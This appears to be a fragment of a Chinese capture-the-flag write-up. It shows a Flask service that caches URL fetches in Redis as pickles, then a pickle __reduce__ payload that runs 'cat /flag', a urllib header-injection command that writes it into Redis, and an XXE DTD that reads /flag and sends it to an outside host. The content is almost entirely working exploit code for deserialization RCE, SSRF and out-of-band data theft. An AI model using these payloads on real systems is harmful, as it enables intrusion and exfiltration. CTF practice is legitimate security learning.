def get_result(url): url_key=hashlib.md5(url.encode()).hexdigest() res=redis.get(url_key) if res: return pickle.loads(base64.b64decode(res)) else: try: print(url) info = urllib.request.urlopen(url) res = info.read() pickres=pickle.dumps(res) b64res=base64.b64encode(pickres) redis.set(url_key,b64res,ex=300) return res except urllib.error.URLError as e: print(e)
@app.route('/') def hello(): url = request.args.get("url") return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1> <h2>Here is your result</h2> <h3>source code in /source</h3> %s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
import pickle import base64 import os class A(): def __reduce__(self): return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
然后利用urllib头部注入修改前面键名的值为payload
1 2 3
127.0.0.1:6379? set cbdecc92165b29374b6b62cca016d4f8 gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4= save
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM 'http://5i781963p2.yicp.fun:80/test.dtd'> %remote;%int;%send; ]>
test.dtd文件(注意%要改成%)
1 2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://5i781963p2.yicp.fun:80?p=%file;'>">